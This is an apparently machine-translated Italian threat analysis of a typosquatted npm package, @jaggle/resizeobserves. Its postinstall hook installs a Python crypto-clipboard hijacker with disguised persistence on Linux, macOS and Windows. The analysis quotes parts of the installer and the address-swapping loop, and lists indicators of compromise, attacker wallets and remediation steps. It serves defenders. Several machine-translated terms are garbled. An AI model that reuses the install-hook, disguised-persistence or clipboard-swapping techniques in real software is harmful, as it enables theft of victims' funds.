RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: un Typosquat di npm installa un Crypto-Clipper a 40 catene come "Assistente di runtime di sistema" multi-OS.

TL; DR

Il 21 maggio 2026, l'editore npm jaggle rilasciate nove versioni (1.0.0 attraverso 1.0.8) di @jaggle/resizeobserves in una finestra temporale di circa due ore.

Il pacchetto è un typosquat del legittimo @juggle/resize-observer polyfill — un pacchetto ampiamente utilizzato con milioni di download settimanali — non include un'implementazione effettiva di ResizeObserver.

Invece, il pacchetto gancio postinstallazione Installa un payload Python preconfigurato, registra la persistenza come un broker runtime dall'aspetto nativo della piattaforma e distribuisce un dirottatore degli appunti multipiattaforma che prende di mira le transazioni di criptovalute.

Linux la persistenza appare come python3-dbus-helper, macOS as com.apple.python.runtimee Windows as PyRuntimeBroker.

Il payload monitora continuamente gli appunti per gli indirizzi del portafoglio più di 40 blockchain e sostituisce silenziosamente gli indirizzi copiati con portafogli controllati dall'attaccante.

Il malware opera interamente in locale, senza alcuna infrastruttura C2 in uscita, rendendo la sostituzione degli appunti il ​​meccanismo di esfiltrazione dei dati.

L'indicatore di compromissione primario è il nome stesso del pacchetto: @jaggle/resizeobserves — notate la vocale omessa in “jaggle” e la “s” aggiunta in “resizeobserves”.

Gravità: elevata.

L'attacco: come funziona

npm:@jaggle/resizeobserves non sembra un malware a un esame casuale vista npm. La sua README.md è il README testuale di npm:@juggle/resize-observer — stessi esempi di codice, stesse istruzioni d'uso, stesso import { ResizeObserver } from '@juggle/resize-observer' Il plagio è talmente evidente che chiunque dia un'occhiata alla documentazione potrebbe pensare di star leggendo la documentazione ufficiale del pacchetto.

Migliori pacchetto.json, al contrario, è sparso: no deposito campo, un singolo bidone ingresso che punta a bin/clipboard-guardian.js, e un post-installazione script che viene eseguito node npm-install.jsGli esempi di "Utilizzo di base" nel file README fanno riferimento a un'implementazione JavaScript che non è presente in alcun punto del file tarball. L'unico codice JavaScript presente nel pacchetto è lo script di installazione.

Fase 1: npm postinstall avvia un payload Python

npm-install.js è consapevole della piattaforma. Individua un seme eseguibile lungo un percorso di ricerca fisso (/usr/bin/pip3, /usr/local/bin/pip, ricadendo a python3 -m pip), installa il pacchetto Python incluso dalla directory tarball e — su Linux — scarica XRITAGLIA or xsell via apt-get, pacman, o DNF se nessuno dei due è già presente:

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

L'impiego di –pacchetti-di-sistema-di-interruzione È una scelta deliberata: le moderne distribuzioni Linux includono Python con il marcatore di ambiente gestito esternamente (externally-managed-environment) della PEP 668 abilitato, che blocca per impostazione predefinita le installazioni di pip a livello di sistema. Lo script di installazione forza l'installazione.

Lo script è anche compatibile con sudo. Quando l'uid di esecuzione è il risultato di un sudo npm install, la sceneggiatura recita SUDO_UTENTE e sborsa ottenere la password per trovare l' di rose la directory home dell'utente, quindi scrive lì i suoi file di persistenza invece che in / RootLa persistenza è a livello di singolo utente, non a livello di sistema.

Fase 2 — Persistenza tra sistemi operativi diversi con nomi di broker di runtime

Dopo l'installazione del pacchetto Python, lo script registra una voce di avvio automatico con un nome diverso su ciascun sistema operativo:

  • Linux — un'unità utente systemd a ~/.config/systemd/user/python3-dbus-helper.service. L'unità Descrizione is Python D-Bus Runtime HelperLo script tenta anche di abilitarlo tramite systemctl –user enable, ricorrendo a un collegamento simbolico manuale default.target.wants/ quando systemctl fallisce. Se eseguito con sudo, lo script passa a sudo -u systemctl –utente, con XDG_RUNTIME_DIR impostato in modo che la chiamata user-bus funzioni.
  • macOS — un file plist di LaunchAgent a ~/Library/LaunchAgents/com.apple.python.runtime.plist con RunAtLoad=true and KeepAlive=true, quindi caricato tramite launchctl load.
  • Windows — un'attività pianificata denominata PyRuntimeBroker, attivata all'avvio del sistema (AtLogOn), con un limite di tempo di esecuzione pari a zero (ovvero, nessun timeout), registrata tramite PowerShell.

A prima vista, tutti e tre i nomi sembrano credibili. python3-dbus-helper Segue la convenzione di denominazione dell'integrazione legittima di Python-D-Bus sui desktop Linux. com.apple.python.runtime imita l'etichettatura DNS inversa di Apple per i propri servizi. PyRuntimeBroker riecheggia Windows RuntimeBroker.exe — un servizio Microsoft reale e firmato che gestisce le richieste di autorizzazione per le app UWP. Nessuno di questi è un servizio Apple/Microsoft/Python reale in questo contesto, ma un difensore che esegue una rapida scansione visiva di systemctl –user list-units or Get-ScheduledTask è improbabile che batta ciglio.

Fase 3 — Il dirottatore degli appunti

Il payload Python, installato su clipboard_guardian/guardian.py, esegue un ciclo infinito che interroga gli appunti di sistema ogni 400 millisecondi. Ad ogni tick, recupera il contenuto corrente degli appunti tramite pyperclip.paste() e li confronta con un elenco di oltre quaranta espressioni regolari precompilate che coprono i formati degli indirizzi di portafoglio per Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain e molti altri simulati ma vuoti nella configurazione predefinita (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).

Quando una corrispondenza va a buon fine, lo script legge l'indirizzo dell'attaccante per quella catena da ~/.config/clipboard-guardian/config.json (o i suoi equivalenti sulla piattaforma) e sovrascrive gli appunti con il testo sostituito:

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

Non esiste un segnale di rete. Il programma di invio dati non si connette a server esterni, non registra gli host infetti e non esfiltra nulla. L'esfiltrazione avviene tramite la sostituzione stessa: quando un utente copia un indirizzo del destinatario dall'interfaccia del proprio portafoglio e lo incolla in una finestra di dialogo per l'invio, l'indirizzo incollato appartiene all'operatore. I fondi vengono persi in tempo reale, in modo trasparente per l'utente.

Cosa c'è di nuovo qui?

Rispetto al modello generico di crypto-clipper, alcuni dettagli spiccano:

1. Conversione da npm a Python. La maggior parte dei crypto-clipper che vediamo in npm sono puro JavaScript, spesso offuscati con _0x rotazione dell'array o eval(atob(…)) stack. Questo esempio utilizza il tarball npm come nient'altro che un wrapper di consegna per un pacchetto Python — Python pulito — e lascia che pip gestisca l'installazione delle dipendenze (pyperclip, psutil, facoltativo setproctitle) dichiarato nel pacchetto pyproject.tomlNon c'è alcuna offuscazione JavaScript da aggirare. Il clipper stesso è un semplice codice Python leggibile.

2. Etichette di persistenza Tri-OS scelte per la loro plausibilità. Molti programmi di installazione multipiattaforma registrano la persistenza con nomi generici (updater.service, helper.plistQuesto esempio si prende la briga di scegliere etichette che assomiglino ai broker runtime nativi della piattaforma su ciascun sistema operativo. La denominazione è l'unico tentativo di occultamento: non c'è rootkit, nessun occultamento a livello utente, nessuna offuscamento del percorso. La scommessa è che i difensori raramente effettuano verifiche. ~/.config/systemd/user/ e che un servizio denominato python3-dbus-helper non si distinguerà in una recensione superficiale.

3. Il travestimento da processo è reale, ma l'anti-analisi è latente. Il payload Python definisce un _disguise_process() funzione che imposta il titolo del processo tramite setproctitle (Linux/macOS) o SetConsoleTitleW (Windows) — e principale() lo chiama così. ps aux mostrerò python3-dbus-helper invece di python3 …/guardian.py. Tuttavia, lo stesso modulo definisce un is_monitor_running() funzione che enumera gli strumenti di monitoraggio dei processi noti (htop, btop, Task Manager, Activity Monitor, Process Hacker, Resource Monitor, monitor di sistema GNOME / KDE / Xfce / MATE e così via) — e principale() Non viene mai chiamata. Il ciclo di sostituzione viene eseguito incondizionatamente, indipendentemente dal fatto che l'utente abbia un monitor di processo aperto o meno. La funzione è codice morto nella versione distribuita. Molto probabilmente è un residuo di un'iterazione precedente, o un'impalcatura per una funzionalità non ancora implementata. In ogni caso, la superficie anti-analisi del payload pubblicato consiste in una ridenominazione del titolo del processo, non nell'elusione del monitor attivo.

4. Il comportamento di unione della configurazione raggruppata. npm-install.js scrive l'elenco predefinito del portafoglio su ~/.config/clipboard-guardian/config.json e, se esiste già un file di configurazione, unisce tutte le chiavi il cui valore esistente è vuoto. Ciò significa che un utente che è stato precedentemente infettato e ha parzialmente ripulito la configurazione, ad esempio svuotando il file di configurazione, Ethereum valore — verrà ripopolato da ogni successiva installazione di pacchetti dannosi. Non viene effettuata alcuna pulizia del file di persistenza in alcun percorso del codice.

Data/Ora (UTC)Event
2026-05-21 18:50:32@jaggle/resizeobserves@1.0.0 pubblicato.
2026-05-21 19:55:551.0.1 Pubblicata — prima versione segnalata da un sistema di scansione esterno.
2026-05-21 19:58:101.0.2 pubblicato.
2026-05-21 20:05:031.0.3 pubblicato.
2026-05-21 20:09:241.0.4 pubblicato.
2026-05-21 20:13:481.0.5 pubblicato.
2026-05-21 20:41:521.0.6 pubblicato.
2026-05-21 20:43:56 1.0.7 pubblicato — aggiunge un try/catch wrapper attorno al passaggio di scrittura wallet-config in npm-install.js.
2026-05-21 20:46:15 1.0.8 pubblicato — programma di installazione rinominato npm-install.jsnpm-install.cjs (contenuto identico a livello di byte).
2026-05-22 Verdetti e IOC pubblicati. Le versioni sono ancora presenti nel registro al momento della pubblicazione (aggiornamento in corso).

Nove versioni in un'ora e cinquantasei minuti è veloce anche per un typosquat. Il modello è coerente con un campagna di pubblicazione e distruzione — inonda il registro sotto un handle, lascia che il rilevamento faccia il suo corso e passa a un nuovo handle una volta rimossa una singola versione. Le differenze visibili durante l'esecuzione sono estetiche: 1.0.1 ha aggiunto esplicitamente /usr/bin/pip3-percorsi in stile per l'elenco di ricerca pip (compatibilità sudo), 1.0.7 ha racchiuso la scrittura di wallet-config in un try/catch e 1.0.8 ha rinominato il programma di installazione da . Js a .cjs pur mantenendo il suo contenuto identico byte per byte. .cjs rinominare le tracce con avvisi npm sulla risoluzione ambigua dei moduli nei pacchetti senza un esplicito "genere" campo, e potrebbe essere un tentativo di sopprimere il rumore in fase di installazione che potrebbe attirare l'attenzione. Il payload Python, l'unica parte che effettivamente ruba, rimane invariato in tutte e nove le versioni.

Indicatori di compromesso

personalizzati

EcosistemaCONFEZIONEversioniStato
npm@jaggle/resizeobserves1.0.0 attraverso 1.0.8Pubblicato online; richiesta di rimozione.

File e hash

sentieroNote
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
Identico in tutte e nove le versioni pubblicate (1.0.0 attraverso 1.0.8). Il carico utile del Clipper.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
Programma di installazione persistente; stesso comportamento end-to-end. 1.0.7's .js and 1.0.8's .cjs sono identici a livello di byte.
~/.config/clipboard-guardian/config.jsonPacchetto di configurazione e portafoglio per la persistenza Linux.
~/Library/Application Support/clipboard-guardian/config.jsonPacchetto di configurazione e wallet per la persistenza di macOS.
%APPDATA%\clipboard-guardian\config.jsonPacchetto di configurazione e wallet per la persistenza di Windows.
~/.config/systemd/user/python3-dbus-helper.servicePersistenza dell'avvio automatico di Linux.
~/Library/LaunchAgents/com.apple.python.runtime.plistPersistenza di LaunchAgent su macOS.
~/Library/Logs/com.apple.python.runtime.logLog di stdout/stderr di macOS per l'agente.
Scheduled Task PyRuntimeBrokerAttività di avvio automatico di Windows (AtLogOn(nessun timeout).

Indicatori comportamentali

SignalDescrizione
pip install --break-system-packages da npm postinstallForza l'installazione di Python su tutto il sito, aggirando le protezioni PEP 668.
apt-get install -y xclip (oppure pacman/dnf)Installa le utilità degli appunti su Linux durante l'installazione del pacchetto.
python3-dbus-helper.service unità utente systemdPersistenza registrata con un nome di runtime helper dall'aspetto plausibile.
com.apple.python.runtime Agente di lancioEtichetta persistente al di fuori dei percorsi legittimi del sistema Apple.
PyRuntimeBroker Operazione pianificataPersistenza di un falso broker di runtime di Windows senza una fonte di installazione legittima.
Processo Python intitolato python3-dbus-helper importazione pyperclip and psutilSi è verificata una discrepanza comportamentale tra il nome del processo visualizzato e le librerie importate.
Gli appunti cambiano circa 0.4 secondi dopo la copia dell'indirizzo del portafoglioComportamento della firma nella sostituzione degli indirizzi di criptovaluta.

Pacchetto di portafogli dell'attaccante (lista di caccia del difensore)

L'elenco dei portafogli viene spedito codificato in modo rigido npm-install.js and clipboard_guardian/guardian.pyI difensori possono utilizzare l'elenco sia come lista nera (considerando sospetto qualsiasi trasferimento verso questi indirizzi da portafogli aziendali) sia come chiave di ricerca (considerando la presenza di una qualsiasi di queste stringhe in un file di configurazione non autenticato, in un artefatto di build o in una macchina di sviluppo come un indicatore di infezione).

Pacchetto portafoglio Attacker

CatenaIndirizzo
Ethereum / BSC0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Ronin (EVM)ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Bitcoinbc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin Cashbitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoinltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
DogecoinDNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
DashXtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcasht1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByteDPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
solarioDWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRONTVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TONUQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
Rippler9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
Polkadot1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
NEAR5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
cosmocosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
Osmosiosmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
Celestiacelestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
iniettivainj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
Kavakava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
Harmonyone19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
Terraterra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
AlgorandXSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
StellarGACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
Cardanoaddr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiversoXerd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
Aptos0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
sui0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
Nanonano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoinf1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezostz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Ergo9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
Hedera0.0.10488092

Le blockchain con copertura regex ma con slot wallet vuoti nella configurazione predefinita — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — non vengono sostituite attivamente in questa build, ma vengono rilevate. Consideratele come ambito di monitoraggio piuttosto che di sostituzione.

Attribuzione e motivazione

La campagna offre una superficie di attribuzione limitata. Non siamo stati in grado di confermare l'identità dell'operatore. Ciò che possiamo registrare è:

  • Metadati dell'editore. L'account npm jaggle elenca la sua email come olgascarlet@deltajohnsons.comIl dominio deltajohnsons.com non si risolve in un'identità aziendale che possiamo verificare. L'account npm non mostra alcuna verifica dell'e-mail e nessun SCM verifica. Non è presente alcuna pagina pubblica su GitHub associata.
  • Campo del repository. Migliori pacchetto.json non porta deposito campo. Il legittimo npm:@juggle/resize-observer indica un repository GitHub reale con migliaia di stelle e problemi attivi. L'assenza di un link al repository è l'indicatore visivo più rapido nell'interfaccia utente di npm.
  • Plagio nel file README. Il file README del pacchetto è quello legittimo @juggle/resize-observer README byte per byte, incluso importare esempi che fanno riferimento @juggle/resize-observer stesso (non il pacchetto di pubblicazione). L'operatore non si è nemmeno preso la briga di riscrivere le importazioni, un segnale comune che il file readme è stato copiato, non adattato.
  • Nessuna infrastruttura su cui fare affidamento. Non è presente alcun endpoint C2, nessuna ricerca DNS, nessun indirizzo IP. Il comportamento malevolo è completamente incapsulato nel clipper locale e nel pacchetto del wallet hardcoded. Ciò rende impossibile il pivoting basato su dominio o ASN. I difensori che effettuano il pivoting tra campagne dovrebbero confrontare gli hash dei wallet con qualsiasi clipper precedente presente nei loro archivi; il riutilizzo di un wallet tra pacchetti è il collegamento più gestibile tra campagne.
  • Scelta del nome. @jaggle/resizeobserves è a un solo carattere di distanza da @juggle e una flessione fuori dal ben noto osservatore di ridimensionamentoLa distanza di modifica combinata è di due glifi. Si tratta di una collisione visiva deliberata, non di un accovacciamento generico.

La motivazione, basata sul comportamento del payload: pura monetizzazione tramite sostituzione opportunistica degli appunti. Non c'è raccolta di credenziali, nessuna impronta digitale dell'host, nessuna lettura di variabili d'ambiente. All'operatore non importa chi sia la vittima, ma che il suo prossimo trasferimento punti a uno degli indirizzi elencati. La copertura su quaranta blockchain è il modello della lotteria in azione: si lancia il messaggio su larga scala, sperando che un singolo messaggio di alto valore vada a segno una volta ogni N installazioni.

L'operatore sembra non preoccuparsi della rimozione. Pubblicare nove versioni in due ore con lo stesso ambito sembra un'operazione di pubblicazione e distruzione: massimizzare l'impronta del registro prima che la latenza di rimozione si faccia sentire, quindi passare oltre. Non abbiamo osservato @jaggle ripubblicazione sotto un nuovo ambito al momento della stesura, ma ci aspetteremmo ambiti simili (@jaggie, @juggle-, @joggle) che compariranno nei prossimi giorni se l'operatore è ancora attivo.

Impatto, tendenze e cosa dovrebbero fare i difensori

 Impact

Quantificare l'impatto in denaro reale non è possibile con l'attuale set di dati. Il clipper non scrive telemetria e i portafogli non risultano ancora aver ricevuto trasferimenti sostitutivi alla data di chiusura dell'analisi (un'ulteriore verifica delle blockchain elencate è in programma). npm:@juggle/resize-observer Il pacchetto dannoso registra una media di download settimanali a sette cifre, un obiettivo di typosquat ad alto traffico, ed era attivo da meno di 24 ore al momento della divulgazione, il che limita la popolazione esposta ma non la azzera.

Il raggio d'esplosione che vale la pena monitorare non è il download diretto di @jaggle/resizeobserves — probabilmente sono piccoli. Si tratta di **installazioni transitive**: uno sviluppatore aggiunge il pacchetto a un progetto sandbox, eseguendolo installazione di npme poi dimenticandosi che l'hook di installazione sia mai stato eseguito. Ogni macchina che ha elaborato il postinstall ora ha un dirottatore degli appunti per utente all'avvio automatico, indipendentemente dal fatto che il progetto sia ancora sul disco. Rimozione della directory del pacchetto da nodi_moduli non rimuove la persistenza.

Modelli emergenti

Due tendenze che questa campagna esemplifica.

npm come wrapper per la distribuzione di payload Python. Il file tarball di npm è un programma di installazione di 4 righe; il vero responsabile è Python, installato a livello di sistema da seme dalla directory inclusa. Questa non è una novità: abbiamo già visto pacchetti npm eliminare Python in passato, ma sta diventando una forma misurabilmente più comune nelle campagne di crypto-clipper. Il vantaggio per l'operatore è duplice: librerie di appunti Python (pyperclip (prima fra tutti) sono più puliti e multipiattaforma rispetto agli equivalenti JavaScript, e la maggior parte degli scanner npm automatizzati dà molta importanza ai file JavaScript e Python .py fasci leggeri. Il costo è che l'ingombro dell'installazione è molto più rumoroso — un nuovo installazione pip è difficile nasconderlo su una macchina di sviluppo che normalmente non lo fa installazione pip durante installazione di npm.

Nomi nativi della piattaforma come unica forma di occultamento. Diversi programmi di blocco e di furto di dati di piccole dimensioni, di recente sviluppo, hanno abbandonato completamente l'offuscamento a livello di codice a favore di etichette di persistenza dall'aspetto legittimo. python3-dbus-helper, com.apple.python.runtimee PyRuntimeBroker Sono esempi da manuale: nomi che un esperto di sicurezza ignorerà in un elenco di quaranta servizi utente. Si tratta di una forma di occultamento economica e duratura: la rimozione avviene per singolo pacchetto, ma i file di persistenza sopravvivono alla rimozione e un servizio che prende il nome da un componente della piattaforma dall'aspetto reale non verrà eliminato se non tramite un audit esplicito.

Cosa dovrebbero fare i difensori

  • Verifica le directory ~/.config/systemd/user/, ~/Library/LaunchAgents/ e Get-ScheduledTask. produzione sulle macchine degli sviluppatori per le voci elencate negli IOC. La rimozione del pacchetto npm non elimina queste voci; devono essere rimosse manualmente.
  • Blocca i trasferimenti verso gli indirizzi del portafoglio elencati ai confini tra tesoreria aziendale e wallet DeFi, laddove è disponibile la lista bianca degli indirizzi.
  • Cerca il file ~/.config/clipboard-guardian/config.json (e le relative piattaforme equivalenti) su tutta la flotta di macchine degli sviluppatori. La presenza del file è un'indicazione di infezione ad alta probabilità, indipendentemente dalla versione del pacchetto che lo ha distribuito.
  • Cerca il file clipboard_guardian/guardian.py nella directory node_modules/. nelle istantanee della cache di build che potrebbero essere precedenti alla rimozione. L'hash MD5 del file è stabile in tutte le versioni esaminate.
  • Lockfile-pin @juggle/resize-observer (il pacchetto legittimo) in modo che le installazioni future non possano risolversi in nient'altro a causa di un errore di digitazione di un carattere, soprattutto in flussi di lavoro senza file di blocco come NPX.
  • Trattare qualsiasi postinstall npm che richiami pip install come di elevata gravità in costruzione-pipeline politica. Non c'è una ragione legittima per cui un pacchetto npm debba richiedere pip al momento dell'installazione: gli strumenti Python distribuiscono strumenti Python.
  • Cerca i dati di monitoraggio comparabili a process_iter() per i processi denominati python3-dbus-helper che importano pyperclip — la mancata corrispondenza del travestimento (un helper D-Bus che detiene una libreria di appunti) è l'indicatore comportamentale più chiaro che abbiamo.
  • Ruota gli indirizzi del portafoglio incollati dai computer infetti. Un programma che dirotta gli appunti compromette il percorso tra l'interfaccia utente di un portafoglio e la destinazione dell'incolla; gli indirizzi copiati durante il periodo di infezione possono essere modificati silenziosamente. Qualsiasi messaggio inviato durante il periodo di infezione deve essere considerato potenzialmente errato.

In sintesi: la persistenza sopravvive alla rimozione. Il registro alla fine rimuoverà @jaggle/resizeobserves In tutte e nove le versioni, l'unità systemd, il LaunchAgent e l'attività pianificata non si rimuovono automaticamente.

Referenze

sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Crea il tuo account gratuito.
Nessuna carta di credito richiesta.

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni